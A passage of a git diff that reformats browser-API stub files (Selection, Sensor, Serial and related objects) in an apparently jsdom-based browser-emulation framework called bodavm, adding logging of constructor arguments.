+bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "violatedDirective", { + configurable: true, + enumerable: true, + get: function violatedDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "violatedDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "effectiveDirective", { + configurable: true, + enumerable: true, + get: function effectiveDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "effectiveDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "originalPolicy", { + configurable: true, + enumerable: true, + get: function originalPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "originalPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "disposition", { + configurable: true, + enumerable: true, + get: function disposition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "disposition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sourceFile", { + configurable: true, + enumerable: true, + get: function sourceFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sourceFile_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "statusCode", { + configurable: true, + enumerable: true, + get: function statusCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "statusCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "lineNumber", { + configurable: true, + enumerable: true, + get: function lineNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "lineNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "columnNumber", { + configurable: true, + enumerable: true, + get: function columnNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "columnNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sample", { + configurable: true, + enumerable: true, + get: function sample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sample_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Selection.js b/env_xbb_lastest_jsdom/env/Selection.js index 5e730afa..d55bdea7 100644 --- a/env_xbb_lastest_jsdom/env/Selection.js +++ b/env_xbb_lastest_jsdom/env/Selection.js @@ -1,30 +1,233 @@ -// Selection对象 -bodavm.memory.globalobj['Selection'] = function Selection(){if (!(this instanceof Selection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Selection'], "Selection"); -bodavm.toolsFunc.defineProperty('Selection', "anchorNode", {configurable:true, enumerable:true, get:function anchorNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "anchorOffset", {configurable:true, enumerable:true, get:function anchorOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "focusNode", {configurable:true, enumerable:true, get:function focusNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "focusOffset", {configurable:true, enumerable:true, get:function focusOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "isCollapsed", {configurable:true, enumerable:true, get:function isCollapsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "isCollapsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "rangeCount", {configurable:true, enumerable:true, get:function rangeCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "rangeCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "baseNode", {configurable:true, enumerable:true, get:function baseNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "baseOffset", {configurable:true, enumerable:true, get:function baseOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extentNode", {configurable:true, enumerable:true, get:function extentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extentOffset", {configurable:true, enumerable:true, get:function extentOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "addRange", {configurable:true, enumerable:true, writable:true, value:function addRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "addRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapse", {configurable:true, enumerable:true, writable:true, value:function collapse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapseToEnd", {configurable:true, enumerable:true, writable:true, value:function collapseToEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToEnd", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "collapseToStart", {configurable:true, enumerable:true, writable:true, value:function collapseToStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToStart", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "containsNode", {configurable:true, enumerable:true, writable:true, value:function containsNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "containsNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "deleteFromDocument", {configurable:true, enumerable:true, writable:true, value:function deleteFromDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "deleteFromDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "empty", {configurable:true, enumerable:true, writable:true, value:function empty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "empty", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extend", {configurable:true, enumerable:true, writable:true, value:function extend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "getRangeAt", {configurable:true, enumerable:true, writable:true, value:function getRangeAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "getRangeAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "modify", {configurable:true, enumerable:true, writable:true, value:function modify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "modify", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "removeAllRanges", {configurable:true, enumerable:true, writable:true, value:function removeAllRanges (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeAllRanges", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "removeRange", {configurable:true, enumerable:true, writable:true, value:function removeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "selectAllChildren", {configurable:true, enumerable:true, writable:true, value:function selectAllChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "selectAllChildren", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "setBaseAndExtent", {configurable:true, enumerable:true, writable:true, value:function setBaseAndExtent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setBaseAndExtent", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "toString", arguments)}},'prototype'); +// Selection对象 + +bodavm.memory.globalobj['Selection'] = function Selection() { + console.log_copy('Selection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Selection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Selection'], "Selection"); +bodavm.toolsFunc.defineProperty('Selection', "anchorNode", { + configurable: true, + enumerable: true, + get: function anchorNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "anchorOffset", { + configurable: true, + enumerable: true, + get: function anchorOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "focusNode", { + configurable: true, + enumerable: true, + get: function focusNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "focusOffset", { + configurable: true, + enumerable: true, + get: function focusOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "isCollapsed", { + configurable: true, + enumerable: true, + get: function isCollapsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "isCollapsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "rangeCount", { + configurable: true, + enumerable: true, + get: function rangeCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "rangeCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "baseNode", { + configurable: true, + enumerable: true, + get: function baseNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "baseOffset", { + configurable: true, + enumerable: true, + get: function baseOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extentNode", { + configurable: true, + enumerable: true, + get: function extentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extentOffset", { + configurable: true, + enumerable: true, + get: function extentOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "addRange", { + configurable: true, + enumerable: true, + writable: true, + value: function addRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "addRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapse", { + configurable: true, + enumerable: true, + writable: true, + value: function collapse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapseToEnd", { + configurable: true, + enumerable: true, + writable: true, + value: function collapseToEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToEnd", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapseToStart", { + configurable: true, + enumerable: true, + writable: true, + value: function collapseToStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToStart", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "containsNode", { + configurable: true, + enumerable: true, + writable: true, + value: function containsNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "containsNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "deleteFromDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFromDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "deleteFromDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "empty", { + configurable: true, + enumerable: true, + writable: true, + value: function empty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "empty", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extend", { + configurable: true, + enumerable: true, + writable: true, + value: function extend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "getRangeAt", { + configurable: true, + enumerable: true, + writable: true, + value: function getRangeAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "getRangeAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "modify", { + configurable: true, + enumerable: true, + writable: true, + value: function modify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "modify", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "removeAllRanges", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAllRanges() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeAllRanges", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "removeRange", { + configurable: true, + enumerable: true, + writable: true, + value: function removeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "selectAllChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function selectAllChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "selectAllChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "setBaseAndExtent", { + configurable: true, + enumerable: true, + writable: true, + value: function setBaseAndExtent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setBaseAndExtent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Sensor.js b/env_xbb_lastest_jsdom/env/Sensor.js index b5cd6350..6dfb895b 100644 --- a/env_xbb_lastest_jsdom/env/Sensor.js +++ b/env_xbb_lastest_jsdom/env/Sensor.js @@ -1,13 +1,89 @@ -// Sensor对象 -bodavm.memory.globalobj['Sensor'] = function Sensor(){if (!(this instanceof Sensor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sensor'], "Sensor"); -bodavm.memory.globalobj['Sensor'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Sensor'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Sensor', "activated", {configurable:true, enumerable:true, get:function activated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "activated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "hasReading", {configurable:true, enumerable:true, get:function hasReading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "hasReading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onreading", {configurable:true, enumerable:true, get:function onreading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_get", arguments)}, set:function onreading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onactivate", {configurable:true, enumerable:true, get:function onactivate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_get", arguments)}, set:function onactivate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "stop", arguments)}},'prototype'); +// Sensor对象 + +bodavm.memory.globalobj['Sensor'] = function Sensor() { + console.log_copy('Sensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Sensor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sensor'], "Sensor"); +bodavm.memory.globalobj['Sensor'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Sensor'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Sensor', "activated", { + configurable: true, + enumerable: true, + get: function activated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "activated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "hasReading", { + configurable: true, + enumerable: true, + get: function hasReading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "hasReading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onreading", { + configurable: true, + enumerable: true, + get: function onreading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_get", arguments); + }, + set: function onreading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onactivate", { + configurable: true, + enumerable: true, + get: function onactivate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_get", arguments); + }, + set: function onactivate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SensorErrorEvent.js b/env_xbb_lastest_jsdom/env/SensorErrorEvent.js index 4a7f1eb4..7c775387 100644 --- a/env_xbb_lastest_jsdom/env/SensorErrorEvent.js +++ b/env_xbb_lastest_jsdom/env/SensorErrorEvent.js @@ -1,6 +1,27 @@ -// SensorErrorEvent对象 -bodavm.memory.globalobj['SensorErrorEvent'] = function SensorErrorEvent(){if (!(this instanceof SensorErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SensorErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SensorErrorEvent'], "SensorErrorEvent"); -bodavm.memory.globalobj['SensorErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SensorErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SensorErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SensorErrorEvent'].prototype, "SensorErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); +// SensorErrorEvent对象 + +bodavm.memory.globalobj['SensorErrorEvent'] = function SensorErrorEvent() { + console.log_copy('SensorErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SensorErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SensorErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SensorErrorEvent'], "SensorErrorEvent"); +bodavm.memory.globalobj['SensorErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SensorErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SensorErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SensorErrorEvent'].prototype, "SensorErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Serial.js b/env_xbb_lastest_jsdom/env/Serial.js index e7c3aa02..eea84f50 100644 --- a/env_xbb_lastest_jsdom/env/Serial.js +++ b/env_xbb_lastest_jsdom/env/Serial.js @@ -1,9 +1,55 @@ -// Serial对象 -bodavm.memory.globalobj['Serial'] = function Serial(){if (!(this instanceof Serial)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Serial'], "Serial"); -bodavm.memory.globalobj['Serial'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Serial'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Serial', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "getPorts", {configurable:true, enumerable:true, writable:true, value:function getPorts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "getPorts", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Serial', "requestPort", {configurable:true, enumerable:true, writable:true, value:function requestPort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "requestPort", arguments)}},'prototype'); +// Serial对象 + +bodavm.memory.globalobj['Serial'] = function Serial() { + console.log_copy('Serial 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Serial)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Serial'], "Serial"); +bodavm.memory.globalobj['Serial'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Serial'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Serial', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, 